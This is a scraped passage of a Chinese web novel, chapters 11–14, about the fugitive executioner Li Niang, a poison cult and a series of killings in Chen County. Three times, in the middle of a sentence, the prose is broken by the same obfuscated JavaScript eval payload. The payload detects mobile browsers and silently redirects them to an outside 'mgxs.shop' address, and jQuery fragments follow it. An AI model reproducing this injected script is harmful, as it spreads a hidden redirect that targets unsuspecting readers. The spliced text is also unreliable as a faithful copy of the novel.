梨娘彻底无语,哼道:“你懂什么?燕衔杯可是名扬四海的侠客,无数人因他而获救。他永远不会后悔的。” 11. 第11章 真假 赵皆真是命大。 他被捅了两刀,居然全不致命。 墨画早年营养不良,气力不济,平时只拿得动绣花针,拿不动杀人刀。陈奉请给他包扎完伤口,赵皆居然立刻觉得自己好了许多。 陈宝珠比他伤得要重的多。陈奉请表示她烧坏的右手神仙来了也救不回来,从此可以宣布告别精细活。 大夫的叮嘱她只当耳旁风,陈宝珠的眼睛只盯着梨娘瞧。 . “墨画为何如此待我?”赵皆心痛不已,道,“我待她不薄啊!” 对此事来龙去脉,梨娘倒是已经明了。 她头痛道:“这便是我与你所说,落仙阁的招新传统。处刑人的人数永远是个双数,男女数量完全相等。因为招新的时候就是一对对招进来的。” “处刑人大多无父无母、无亲无子。招进来的每对新人便会结为夫妻。” “我们叫它'与结',也是与婚。” “平时,处刑人割下鸩鬼的头,除了装神弄鬼外,并无什么特殊含义。主要是为了方便明确功劳、以及确认此人已死。” “而新人招收的办法就是,在彼此完全不知的情况下,分别诛杀两只鸩鬼、割下他们的头,并送予对方,在对方手臂上刺下半翼,表示比翼双飞,永结同心。” 陈奉请插嘴道:“那怎么不剜心出来?送别人的头多没新意,最好送自己的头。” 没人理他。赵皆听得呲牙咧嘴,倒抽一口冷气,担忧道:“从来没见过对方?那岂不是一进去,便盲婚哑嫁?” 梨娘无语道:“里面的家伙大多都丧失人性了。与其说是夫妻,倒不如说是互相监视。” 话说到这里,便很明了了:墨画便是此次被招收的新人。 因为她是新人,所以她不知梨娘曾为处刑人,所以错杀赵丰,所以她忘了割下头颅,但就算她冒着风险赶去义庄,看守也不会怀疑什么,因为她是另一个死者的亲姐! 赵皆仍沉浸在震惊中:“可......可我儿,不是鸩鬼啊?” 梨娘叹道:“关于这件事,我也有了些头绪。赵丰平日里藏东西,喜欢藏在何处?” 赵皆苦思冥想,道:“他儿时的百宝箱!” 陈宝珠的伤势实在太重,梨娘有心想先把她送回自己家中休息,陈宝珠并不乐意。 她在说些什么,只是嗓子毁了,发不出声。梨娘把耳朵贴在她嘴唇旁,听到她在说:“我的家人.....” 她要知道缘由。 梨娘心软,道:“唉。在场多是男子,我来背你吧。” . 百宝箱藏在陈家卧房。 赵皆一踏入此门,便被刺鼻的臭味惊了一跳。 陈奉请以袖掩面,从床下拉出个小箱子来,随手掀翻,在赵皆的惊叫声中,墨诚的头颅从里面滚了出来。 天气炎热,已然腐败生蛆,梨娘不忍直视,侧过脸去,心道果然如此。 不知为何墨画将梨娘错认为另一半翼。落仙阁引诱新人的时候,都是一男一女。 斩首赵丰的是气力不足的墨画,那斩首墨诚的另一个男人,是谁呢? 怪不得一点端倪都未露出。 因为人已经死了! 墨画亲手杀的! . 陈宝珠忽然示意梨娘将她放在书桌前。梨娘照办,只见她用完好的左手抽出桌上一张未完的信纸。 “宝珠,仙人对我说。 我们过得太幸福了。 就是我们过得太幸福,所以牛公子才会死,大燹才会有那么多不幸福的人。如果我们过得太幸福了,用光了下辈子的福气,下辈子我们就会过得不幸了。 在我写下这封信的时候,我们已经服下有悔,宝珠,没关系的,这只不过是一次转生,我们的魂魄会流向更好的地方。 下辈子,我还要与你做夫妻,与牛公子做好朋友。” 落仙阁真是害人不浅。 梨娘从喉咙里挤出一声惨笑,道:“赵皆,这便是你说的,干干净净的好儿子。” “这,这.....”赵皆悲愤欲绝,恨不得呕出血来,道,“为何啊?!为何你要信那些歪门邪道!害了自己一家性命啊!我不是早早教给你,国师是最不可信的吗?!” 陈奉请用下巴点了点地上的人头,奇道:“那人头是哪来的?‘有悔’可是我的得意之作。一旦毒发,别说杀人了,就是站也是站不起来的。” 梨娘叹道:“昨日卯时,赵丰毒发,墨诚被你赶出门,无处可去,恰巧来到此地。穿越者墨诚自称是个大夫,他可比你要有医德多了,他还能如何?” “他会选择救人啊。” . 昨日卯时。 墨诚脸上顶着一个巴掌印,愁眉苦脸地蹲在街边,努力翻阅着穿越者前辈的美貌前妻给自己的攻略。 “大阜国,现已灭国.....遇到大阜遗民,小心遮掩穿越者身份,万万不可暴露.....” “大秉国,前任皇帝穷兵黩武,死后藩镇割据,现任皇帝年仅七岁,内部动荡不安.....” “大.....什么字不认识,最为详细,应该是本国没错吧.....皇权衰落,以本朝国师为首的落仙教派兴盛,在朝中设立落仙阁,独揽大权。阁中处刑人皆以鸟类为互称,在朝外设立监察机构,标志是鱼。教义歪曲事实,造成惨案数不胜数,非常仇恨穿越者,更不能容忍自身权威受到挑战。极其危险,如果遇到顷刻远离.....” 墨诚读下来,只觉得整片土地没有一点安宁祥和的地方,连穿越者的路都已经被前辈走死了。 不禁叹道:“这都是什么啊!我要回家!” 他没来得及问墨画他平时住哪。 于是只好顺着一条路一直走,希望有谁能认识他,给他捡回家去。不过陈县古韵,影视剧中从没有过,墨诚走一路看一路,也是颇为津津有味。 墨诚越走,越觉得两旁房屋愈发金碧辉煌。 他穿过来之前是个穷鬼,看得眼都直了。 走路不看路,砰的一声,墨诚摔了个底朝天。还没来得及叫痛,却见绊倒他的,居然是个女子尸首! 当即啊啊惨叫起来。 女子容貌十分英气,可惜七窍流血,怒目圆睁,死相可怖至极。她虽拼命从宅中爬出,可还是死了。 墨诚的心,扑通扑通跳了起来。 他也差点跳起来。 卧槽啊!死人啦!古代怎么报警?报官吗?哪里是官府,咋报??? 房门虚掩着,墨诚心中天人交战半天,还是选择进入一观。 万一还有活着的呢,他也能搭把手不是? 宅中尸横遍野,当真是凄惨无比。 尸首俱是七窍流血,怕是中了猛毒。 墨诚瞧见地上有个衣着格外华丽的公子哥,胸口微微起伏,似乎还有气息,便立刻上前施救。 那人也是七窍流血,约莫是中毒不深,还有力气说话,瞧见墨诚,拼命指着自己的荷包,涕泪横流,道:“救....救.... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704798|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' .” 墨诚连忙打开荷包。 里面是颗白色的药丸。 难不成这是古代的万能解毒药什么的? 墨诚怀着敬畏之心将药给公子哥服下。那人很快气息平稳了些,面色红润许多。 真神奇,墨诚震惊地想,简直就像古装剧一样。 . 赵丰后悔了。 死掉实在是太可怕了。 因为怕痛,他故意喝得少了些,反而让自己陷入求生不得、求死不能的尴尬境地。 幸好有墨诚相救。 赵丰感激地想,看他平日里木讷愚钝,很少带他玩,没想到竟是如此好人。他往后一定也把墨诚当成是好兄弟,把他引荐给宝珠。 想到宝珠,赵丰又痛哭起来。 宝珠这么聪明,如果把她救起来,她一定会让赵丰去死。他不想死,宝珠不就得死了吗? 他太爱宝珠了。 便想起仙人所言,世间所有一切,都是流动的。从高处落到低处,从一个躯体,去往另一个躯体。 赵丰便虔诚祈祷,希望宝珠也能转生在一个能够沟通的身体上。 瞧见他模样十分可怜,墨诚忍不住道:“兄弟,你没事吧?你叫什么?你家是吃坏了东西,还是得罪了谁啊?” 咦。 他怎么会不认识我? 仙人说,鸩鬼是世上最有福气的人。 诛杀鸩鬼是造福天下苍生的好事。成为处刑人,又可以进入落仙阁,封侯拜相也并非难事。 妖女不正是落仙阁的金乌吗? 赵丰不哭了。 “那井里似乎被人下了毒。”赵丰道,“你能替我去瞧瞧吗?” . 墨诚变了。 墨画头晕目眩,心中惴惴不安,一边想着残忍暴戾的疯皇帝,一边又想着上官皇后。 上官皇后最重要。墨画下定决心,只要上官皇后不说什么,她也不说。就这样过下去..... 墨诚不熟悉陈县,怎么可以乱走呢? 墨画一路寻,一路打听。 赫然,她瞧见了陈家小姐的尸体! 死状可怖,面露狰狞。 墨画捂住嘴巴,压下从喉咙里爆出的尖叫。 发生了什么? 陈家大敞着门,门内七扭八歪倒了一地的家丁仆从,皆是七窍流血而死。 墨画颤抖不已,只见门内有只水井,水井边缘,趴伏着一个熟悉的背影。 四肢百骸好像不是自己的了,世界好像已经和自己剥离开了。 墨画不知道自己是怎么才能走上前的,她魔怔了一般,想要瞧一瞧那尸首的面容。 墨诚的头颅已经被割下,她自然不可能如愿。 谁杀了我弟弟? 滴滴鲜血,蜿蜒流向室内。 赵丰的身影影影绰绰,显得如此可怖。他的背影,简直与疯皇帝如出一辙! 上官皇后说,因为疯皇帝是穿越者,我们才过得如此不幸。 上官皇后还说,我们吃的苦,全因疯皇帝无法忍受自己竟是如此平庸。他宁可留下凶名,也要流传百世。 因为在他眼中,我们蒙昧、无知、愚蠢、好骗!在他眼中,我们的苦痛不是苦痛,只是史书上的潦草一笔。我们根本不算人! 墨画从袖中抽出一把匕首。 刀柄处圆圈相互嵌套,外形如海浪。 墨画心想,她总算明白上官皇后为何不做凤凰,反而成了金乌。 有人该死! 12. 第12章 姐妹 赵丰杀墨诚,墨画杀赵丰,梨娘将猜测全盘托出,又道:“赵大人,你需派人快些去寻墨画。” 墨画已经被仙人忽悠得走火入魔,放在外面不知道还会造多少冤孽。赵皆虽心痛不已,仍是道:“手下早已经前去搜查。” 梨娘恨死了落仙阁,但也因此是最了解它的人。 她道:“墨画帮过我许多,罪魁祸首不在她。” “让梨娘心忧不已的是,墨画没通过落仙阁的入阁试验,原定半翼又已身死。她会被落仙阁处理掉的。” 梨娘与赵皆商议一番,期间赵皆手下兵卒来报三次,皆是未见墨画踪影,不知她藏身何处。 事情已了,梨娘已经帮无可帮,思及在期间种种努力,当即与赵皆就尾款讨价还价一番,得到了满意的数字。 算算时间,小宝也差不多快醒了。 梨娘告辞回家,陈宝珠扯了扯她的衣袖,梨娘便以为她又有话要说,正要侧身细听,忽然觉得耳垂一重。 陈宝珠用完好的左手小心翼翼将耳环穿进梨娘耳洞,梨娘摸了摸,触感温润圆滑,颇有分量。 梨娘曾经做皇后时,有过许多首饰。但那时她快被累累金饰压垮,见了它,也只觉得恶心。此时认出此物,心境倒是大为不同,惊讶道:“东珠?” 陈宝珠点头,用气声道:“从此.....我们便是姐妹。” 陈家发家靠的便是珍珠。陈宝珠自小便跟着家人一起出海,从当地人手里收取大量的珍珠,然后再转手卖给各都城的权贵,从中挣得大笔钱财。 天生便如此完美无暇的东珠本就少见,在同一只蚌里开出一模一样的两颗,更是绝无仅有。陈家舍不得卖出去,当成传家宝留给了独女。 陈宝珠请来最好的金匠,将它们打造成了一对耳环。 其中之一,正巧点缀梨娘的侧脸。 梨娘的肤色常年便是过于疲惫造成的苍白,经常只戴只素钗便出门。 一旦不笑,她的瞳孔仿若深渊,仿佛连自己也要被吸进去了。 有些珠宝点缀,她才显得更生动了些。 梨娘语重心长道:“娘子,你遭逢大难,梨娘帮你,不过是图你的财,不可轻信。这东西一看便对你十分重要,梨娘替你收着,等你什么时候想拿回来了,便问梨娘来取。” 陈宝珠只是笑,并不说话。 到底听没听懂啊?梨娘十分担忧。 她离开陈家,恰巧路边有卖包子的,思及小宝爱吃,便又买了些。 陈奉请在旁边抱臂道:“陈宝珠平日喜恶分明,一旦认定了一件事,就从来不会改。你真是运气不佳,她赖上你了。” 这还有个祸害。梨娘柔柔道:“大夫是否忘了件事?什么时候能把梨娘的小命还给梨娘呢?” 陈奉请笑道:“这要看梨娘自己了。” 反正还有两日才会毒发,梨娘也不急,想要回家歇息片刻,陈奉请像个狗皮膏药似地粘着她不放,真令人烦心透了。 梨娘知道,就像是孩童喜欢水淹蚂蚁窝、然后瞧着蚂蚁挣扎取乐一样,这家伙怕也是等着看梨娘的笑话,不肯遗落一分,便也随着他去了。 二人转回梨娘的小院,行至门前,梨娘忽然拦住陈奉请,面色凝重,道:“等下。” “我家里好像有别人。” 陈奉请凝神细听,果然听见女子歌声从门缝里隐隐约约飘进来。 梨娘认出,那是首大阜童谣。 墨画坐在床边,绣着一只大红盖头,轻声哼唱着儿时童谣,语气无比温柔。脚边则侧放着一个大包裹,掀开一角,几个金元宝滚落在地。 瞧见来人,她微微抬眼,苍白面容上还有未擦尽的血迹。她笑道:“姐姐回来啦。” 小宝惊恐地看着她,把自己蜷在床脚,见到梨娘,才放心地指着墨画大叫道:“娘啊,你姐妹疯啦!” 怪不得官兵苦寻而不得,因为墨画哪也没去。这房子又是她的,她本来就有钥匙! 至少小宝暂时没事。 梨娘放下了一半的心,生怕陈奉请把事情搅得更乱,反手把他关在门外,并对小宝道:“你速速闭嘴。” 半日不见,墨画突然变得有些陌生,梨娘不好再刺激她,瞧见她手中盖头,便没话找话道:“你.....你是想再找个好人家吗?” 墨画不答,笑道:“大阜还没灭国的时候,娘亲给我绣了嫁妆。她命苦,认为自己等不到我长大。果然没等到。” 实在是个小苦瓜。 梨娘简直不知道应该怎么接话。 她道:“你怪我吧。我是丞相独女,而疯皇帝起初只是个不起眼的皇子。凭他自己做不得太子,也就没有之后的事了。” 墨画摇了摇头,却像是释然了,笑道:“姐姐,你总是爱上一些人渣。” 梨娘:“.....” 这话实诚得让梨娘差点吐血。 墨画道:“我不怪你,姐姐,我怎么会怪你呢?你是我这辈子最重要的人。” 墨画笑道:“如果可以,我真想和姐姐一起逃走。不管什么赵大人,什么落仙阁了。姐姐不擅刺绣,五谷不分,我擅长,姐姐总识人不清,我便替姐姐参谋。就像真的姐妹一样相互扶持。如果能这样多好啊.....” 她态度有所转圜,梨娘也听得鼻尖泛酸,道:“国师不除,大燹国终究不是什么好地方。对了,我们去大秉国如何?虽说和大阜有着灭国之仇,但大秉国却算是现在最安定的地方......” 墨画笑而不答,绣完最后一针,递给梨娘,道:“姐姐,你快瞧瞧,在你的婚礼上用,是否合适?” 梨娘心说她在婚姻上是吃一堑吃一堑再吃一堑,恐怕这辈子再也用不到了。又不好刺激墨画,她便接过来细细端详,只见鸳鸯相依,果然精致无比。 墨画忽然道:“皇后,我希望你能遇到能让你幸福的人。” 你的心太软,这世道配不上你..... 她的时间不够了,喷出一口暗色的血,便仰面向后倒去。小宝瞥见她颈侧扭曲弧度,尖叫道:“娘!娘!她的头断了!她的头是断的!” 梨娘身体先大脑一步行动,她接住墨画,却见她细瘦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704799|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的脖颈以一种骇人的弧度翻折过去,仅剩周围一层皮连接着。内里骨骼筋肉,皆尽断裂。 墨画的脸小而窄,眼睛却大而空洞。 上官皇后惊恐的请求、陈奉请冷淡的言语仿佛已经变得像在深水中那么遥远。 她的瞳孔慢慢失去焦距。 “.....你不是神医吗?梨娘的命已经压给你了,你要什么都可以,帮我救回她!.....” “.....夫人,你冷静些,死人还能怎么救?.....” 墨画闭上了眼睛。 她在被斩头的时候就理应死去。 她能活到现在,只是因为断口极其薄而整齐。 放眼全天下,能做到如此的杀人术的,梨娘只见过一个人。 天下第一剑客。 燕、衔、杯! . 陈县,官邸。 燕衔杯收起剑。 四个巡抚的尸体倒在他脚下,皆是一剑毙命,连呼救声都发不出来。 他将身上这堆彩色布片扯下,随手丢在一旁。 有什么人在呜呜呻吟,燕衔杯一拍脑门,笑道:“居然把你给忘了。” 打开衣柜,最后一个正牌巡抚被五花大绑,惊恐地看着他。燕衔杯扯下他口中布巾,巡抚当即求饶道:“大侠,大侠,你饶了我吧,我什么都不会说,要我做什么都行,饶命.....” 他话还未说完,燕衔杯只笑道:“你们落仙教派不是不怕死么?你们那些狗屁倒灶的话都怎么说来着?” “对了,为了天下人。” 话音刚落,巡抚人首分离。 燕衔杯翻倒油灯,锁紧房门。 众人惊呼走水的声音在身后响起,燕衔杯压低斗笠,混入惊慌失措的人群中。 他听得一阵熟悉的脚步声。 不同于混乱平庸的人流,几乎令他心颤。 燕衔杯嘴角勾起,抬手格挡,锵!匕首横擦过剑身,带出一串火花。 又是锵!锵!两声令人头皮发麻的金属摩擦声,梨娘手持双匕,面容掩在帷帽之下,嘴唇抿得死紧,招呼也不打一声便持匕再攻。 她左手架住剑锋,右手刺向燕衔杯心口,刀光雪亮,招招狠辣吊诡,燕衔杯却是并不还手,只笑着持剑格挡。 燕衔杯笑道:“谢梨,你的功夫全是我教的。怎么能对我出手呢?这不是自找苦吃么?” 一声格外令人牙酸的金属碰撞声,梨娘手中匕首被尽数挑飞。她虽知自不量力,仍愤怒喝道:“燕衔杯!你为何杀她?!” 有人当街混战,众人原本是很乐意看热闹的,但见燕衔杯看梨娘的眼神分外奇怪,哪怕是砍了围观群众,也绝不会砍梨娘的。众人顿时机警起来,皆尽是四散而逃。 陈县的天色阴沉沉的。这里气候干燥,一年到头也下不了几场雨,风沙把梨娘折磨得灰头土脸,嘴唇干裂出血,脊背却挺得笔直。 燕衔杯仔仔细细地着那点血迹,突然道:“谢梨,我说过,我爱你。” “这世上再也没有人会像我一样爱你了。” 13. 第13章 “生死之交” 这样深情款款的话,梨娘已经不是第一次听了。却一直觉得很没有道理。 既然你这么爱我、这么喜欢我,为什么要做这些让我痛苦的事? 梨娘便只当燕衔杯的话是耳旁风,道:“你既然有如此本事,为何不去杀国师,反倒先杀墨画一个刀都拿不起来的弱女子?谁才是懦夫?!难道你就瞧不出来,谁是罪魁祸首吗?” “她杀过人。她是处刑人的候选人。她害得许多人险些丧命火海。”燕衔杯笑道,“她无辜吗?只是因为你和她相识,便偏爱她,不想叫她死吗?你可知,” “杀人要偿命!这是天经地义!” 又是一阵呼啸而过的狂风。 “那你现在就去死!”梨娘怒道,“你要是现在在这里自杀,梨娘也舍命陪你一起!” 昏沉的天光下,二人的面孔都被遮掩着,显得晦涩不清。半晌,燕衔杯轻轻笑了,用一种梨娘毛骨悚然的语气道:“还不是时候。” “你的脚步虚浮、出手的时机也略有迟钝。谢梨,你有多久没睡过觉了?快些回家歇息吧。” 梨娘真恨自己年少时太骄纵,没有苦练童子功。不然也不会有这样眼睁睁瞧着燕衔杯大摇大摆离开的时候,只把自己气得半死。 还能怎么办呢?哪怕陈县死了这么一连串的人,日子还是要照样过。梨娘心想,之后要墨画操办丧事,打一副上好的棺材,她还得换个地方避避风头..... 梨娘忽地觉得喉咙有些痒意。 哇的一声,她吐出了一口淋漓的鲜血。 她颇为诧异,心想燕衔杯何时身手好到了如此地步,可以隔空把人打出内伤来??? 随后她的眼耳口鼻都涌出血来,四肢一下子没了力气,跌在地上。 梨娘恍然大悟,原来是“有悔”毒发,她要死了。 不是说毒发三天吗?这才半天不到! 陈奉请这个庸医!!! 梨娘拼尽全力,把自己转移到了路边,心想这样就不容易被马车碾过,等到有谁为她收尸的时候便不会很难看。 视线变得越来越不清晰,有个穿湖青色的人影半跪在她面前,伸手在她眼前晃了晃,然后伸手抓住了她的手腕。 梨娘咳出一口血,怒道:“你不是说三天吗???” 陈奉请探过梨娘脉搏,发现此人不仅旧伤累累,还长期焦虑抑郁营养不良,而且至少三天没睡过觉,简直让人惊讶她怎么还活着。便道:“陈某也未曾听闻有人快把心血熬干了,还能一直活蹦乱跳的。” 梨娘这种身体情况,“有悔”提早毒发是必然的事。 梨娘道:“所以你愿意把解药给我么?如你所见,真的挺难受的。” 小宝心疾难解,陈奉请见过她一哭二闹三上吊,撒娇卖痴装傻充楞求他降价,没想到在自己的生死面前,她反倒是意料之外的平静。 陈奉请道:“你的命在我手里,你不求我吗?” “好吧。”梨娘柔声道,“求求你了,大夫,妾身好痛,救救我嘛。” “......”陈奉请点评道,“太假。” 毕竟身体状况不佳,嗓音不够甜美,演技稍有下滑。梨娘大怒,又咳出一口血,道:“你到底要如何?” 陈奉请见过许多人,他们在快死的时候,双眼里流露出可怕的光芒,都在说着同一句话: 我不想死——求你了,我不想死啊—— 当真是丑陋至极。 陈奉请便道:“说句‘我不想死’来听听。” 梨娘平静道:“我不想死。” “......”陈奉请道,“感情匮乏,食之无味。” “一个两个的都这样。我真不懂你们这些心理扭曲的人到底都在想什么。”梨娘无语道,“唉算了。我还没来得及交代后事,你都把我害死了,记得帮我办了。” 陈奉请:“.....” 梨娘竖起一根手指:“第一,你记得转告小宝,去找陈宝珠,我给他找了个好后妈,让他以后乖一点,我辛辛苦苦赚来的银两省着点花。” “第二,记得把我的死昭告天下。我的第一、三、五、六、七任前夫全在发了疯的找我。你记得在大燹国说我被第一任害死了,在大秉国说我被第七任害死了,在大阜国说我被第五任害死了。这帮孙子自会自相残杀......” 陈奉请:“...........” 陈奉请的面色忽然变得很奇怪,仿佛见到了生平最无法理解的事情。他道:“你为什么不想活了?” “是我不想活吗,”梨娘大怒,“我本来活得好好的,你非要给我灌毒药!” “你是我见过的第一个快死了还在笑的人。”陈奉请问,“为什么?” 梨娘的帷帽早就落在地上。 她那张格外侬艳的脸上忽然浮现了一抹茫然,嘟囔道:“怎么会?我又不是你这样的疯子!死到临头还是笑嘻嘻的!” 陈奉请看得清清楚楚。 那笑容并不是梨娘平日里,或冷笑或假笑或礼貌的微笑,只是嘴角微微勾起、十分放松而已,并不把自己的命当一回事。 陈奉请相信只有在死到临头的时候才会看清一个人。 梨娘是个风情万种、长袖善舞的漂亮女人。但她的底色其实是平静的、尖锐的。 陈奉请忽然明白,原来所有人都被她骗了,她一直以来示人的都是无比精妙的演技,真正的梨娘正藏在明媚鲜活的面孔下,冷静地看着这一切。 说不定还正在心里嘲笑他。 陈奉请:“.....” 他忽然改主意了。 梨娘听得陈奉请道:“我可以救你。” 梨娘没好气道:“你到底要如何?妾身真的快没气了。” 陈奉请道:“上官梨、谢梨、苏梨儿、梨娘......你有很多名字。而且,全是假名。” 梨娘终于发现自己没什么起名的天赋,悲愤地咳出一口血,想给自己挽回些颜面,道:“其实是我故意的。很简单易懂对吧,一眼就能看出来是同一个人。” 陈奉请道:“告诉我你真正的名字,我便救你。” 梨娘张口就来:“陈梨。” 一听就又是假名,而且是完全的就地取材,都不带过一下脑子的。 陈奉请怒极反笑,终于快被这油盐不进的女人气死了。 他道:“我看你是真不想活了!” 梨娘瞧见湖青色的人影毫不留情地转身离开。 颇为可惜。 其实她还是想活的,不过在这世道,尤其是她还有一大堆仇家,活着得需要很努力,死了也不后悔,说不定还能..... 梨娘正出神地想着,忽然感觉口中被塞入一物,毫不留情地往她嗓子眼里戳,噎得她直接干呕,又吐出一大口血。 竟是陈奉请去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706852|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 而复返。 梨娘骂道:“你做甚?可以有些好生之德,别欺负将死之人吗?” “你要是死透了,可以闭上你的嘴。”陈奉请假笑道,“如果你没死透,现在就张开嘴吃了这解药,如何?” 孩童瞧见水淹蚂蚁窝,蚂蚁挣扎求生,觉得有趣。但若是蚂蚁一动不动,还在嘲笑孩童胸无大志,真正要哇哇哭的可就要变成小孩了。 梨娘大为感动,心想陈奉请居然长出了一些从未有过的良心。 不过,她回忆了一下解药的触感和体积,小心翼翼道:“我从小就嗓子眼比较浅,吃不下药丸,咽不下去.....” “你能不能好人做到底.....呃就是说,磨成粉,然后帮我找碗水?” “.....你是三岁小孩吗?” . 与此同时,陈家。 陈宝珠对着镜子,仔仔细细地把另一颗东珠戴在自己的左耳上。 她容貌英气,人能压得住首饰,戴起金银来十分好看。不过此时尚在病中,脸上身上缠了许多纱布,倒显得东珠分外突兀了。 陈宝珠不在乎这些,只觉得能和好姐妹戴一对,便是无比的满足了。 陈家空空荡荡的,陈宝珠觉得没什么锁门的必要。但要是有个人招呼也不打就推门进来,便是十分的不礼貌了。 陈宝珠凉飕飕地瞥了那人一眼,嗓音嘶哑,道:“真是讨人嫌,怪不得你老婆不要你了。” 陈宝珠的嗓子确实坏了,但其实并没有坏的那么彻底。 但对着姐妹撒娇的时候能一样吗? 燕衔杯把五个鱼纹玉佩摔在她桌上,淡淡道:“你知道如何做。” “我带着这些玉佩,他们真的会让我加入吗?” 她拿起玉佩细瞧,哑着嗓子问:“那个专门对付落仙阁的名字很奇怪的帮派。我听说他们很排外。” “他们前些阵子死了不少人。”燕衔杯似乎想起了什么,摇头轻笑,道,“正是缺人的时候。” “你干的?算了,我不关心。”陈宝珠嫌恶道,“看在你好歹救过我命的份上,我替你做三件事。三件事之后,你我两清。” 燕衔杯也是毫不客气,道:“你去杀了他们的老大。” “........”陈宝珠冷冷道,“我是个商人,不是个莽夫,做不到!” 燕衔杯只能遗憾地退而求其次,道:“那把他们的内部情况摸出来告诉我。人手、兵马、武器、据点、联络方式,越详细越好。” “还有,他们的老大神出鬼没,从来不以真面目示人,只自称‘皇帝’。我要‘皇帝’的真实身份。” “最后,‘皇帝’一直在找一个人。” 陈宝珠心道这人真会蹬鼻子上脸,这些要求比起杀了老大也没有简单到哪里去。连“皇帝”都找不到的人不会要她去找吧? 却听燕衔杯缓缓道:“我要你探听,他为什么要招惹这个人?” 这话说得粘稠古怪,陈宝珠一愣。 燕衔杯已经压低斗笠,重新躲回陈县的风沙中,不见踪影了。 陈宝珠碰了碰自己的耳坠,细细地记住了那点违和。她是个商人,从来不会放过任何一个细节。 这可是关乎性命的生意,陈宝珠把所有消息在自己脑子里过了一通,只有这帮派的名字格外拗口,她不得不多念几次: “地球穿越者互帮互助协会?” 14. 第14章 畸形儿 墨画的丧礼办的悄无声息。 她总归是做了些坏事。 梨娘怕她的坟墓被哪个愣头青一时兴起破坏了,便没为她立碑,只将她和墨诚葬在一处。 墨画带来的那些金银财宝,梨娘全放在了她的棺材里,希望下辈子她能投个好胎。 最好托生到地球去。 陈宝珠替家人办完丧事,也来向她告辞。 她不会再回到这个伤心地了,还是天南海北地到处做生意。 她总飘在海上,生怕和梨娘断了联系,拉着梨娘的手把她的各地分铺翻过来覆过去说了一通,直到梨娘倒背如流、连声保证每月给她寄信,才肯罢休。 陈县虽好,但这本是一次小小的新人入阁,弄得如此两败俱伤的地步,都城果然来人。 两对正牌的处刑人大驾光临,还没来得及怎么查,他们一直追查的鸩鬼帮派便声称这是他们做的好事。 穿越者们在各地张贴告示,声称落仙教派蠢不可言,大家应该擦亮眼睛,投入他们地助会的麾下,助皇帝复国,如果皇帝复国成功就会给他们每人五十两银子云云。 国师当即暴怒。 处刑人一路追随穿越者的踪迹迅速离开,倒是让叛逃处刑人梨娘显得都有些多余收拾包裹。 梨娘便也就心安理得地继续在陈县住着。 换一个父母官,万一是个笃信落仙教派的,找个大夫也是难事。 至于陈奉请,他没再发癫,仍然老老实实地在陈县敛财。 不过往梨娘这里跑的次数多了,并且居然免费看诊,梨娘忧心他是觉得她在这一次赚的够多,打算找时机敲诈她,对此非常警惕。 如此过了半个月,某个格外阴沉的午夜,赵皆忽然派人来请梨娘。 赵皆这人平日里总觉得梨娘非常可怕,在街上遇见了,都是绕着道走。如果午夜来请,必然是大事,还是他处理不好的大事。 梨娘没有耽误,哄好小宝便上了马车。 赵皆像是老了十岁,他将桌上的一张纸递给她,道:“都城密信。” “永熹郡瘟疫迟迟未好,已经蔓延至永安、永平两郡,百姓怨声载道,民不聊生。皇帝延请医师救助灾民,触怒国师,国师欲以皇帝人头祭天以补气运。” 梨娘愕然道:“国师要杀皇帝?” 不同于动乱的大阜、大秉国,大燹国的皇位坐得很稳当,就是没权。这整个朝廷都是国师的天下,皇帝的唯一作用就是本本分分的当个吉祥物逗乐。 大燹皇帝赵艽野是个挺怂包的家伙,塌眉毛下垂眼,跟谁的关系都不错,地位约等于私塾门口的狗,谁来了都得摸一把走。 赵艽野老实本分了一辈子,就勇敢了一回。 然后就要被国师杀头祭天了,可见有的时候努力还是不如不努力。 . “——金乌,不不不,苏梨儿,梨儿姐,我知你本性良善,只因受制于国师才助纣为虐。我与你做个交易如何?” 少年常年藏在阴影下的眸子熠熠生辉,道:“我帮你找回你孩子,你就帮我杀了国师,如何?” “你一个常年受制于宫中的人,如何帮我?”梨娘听见自己嗤笑道,“管好你自己吧!若我把你这句话告诉他,你的舌头都得被拔掉!” “姐姐姐,我亲爱的姐姐,你最好了,我知道你不会的。”少年嬉皮笑脸,旋即神神秘秘地道,“我知道落仙教平时关押小孩的地方在哪,你就信我一次如何?” . 梨娘垂下眼睛,烛火映得她的神色晦涩不明。她道:“唉,清明的时候给他烧点纸钱吧,下辈子投个好胎。” “快呸掉。”赵皆连忙阻止她,道,“人还没死呢。” 梨娘平静道:“可是国师要他死,他也不得不死了呀。” 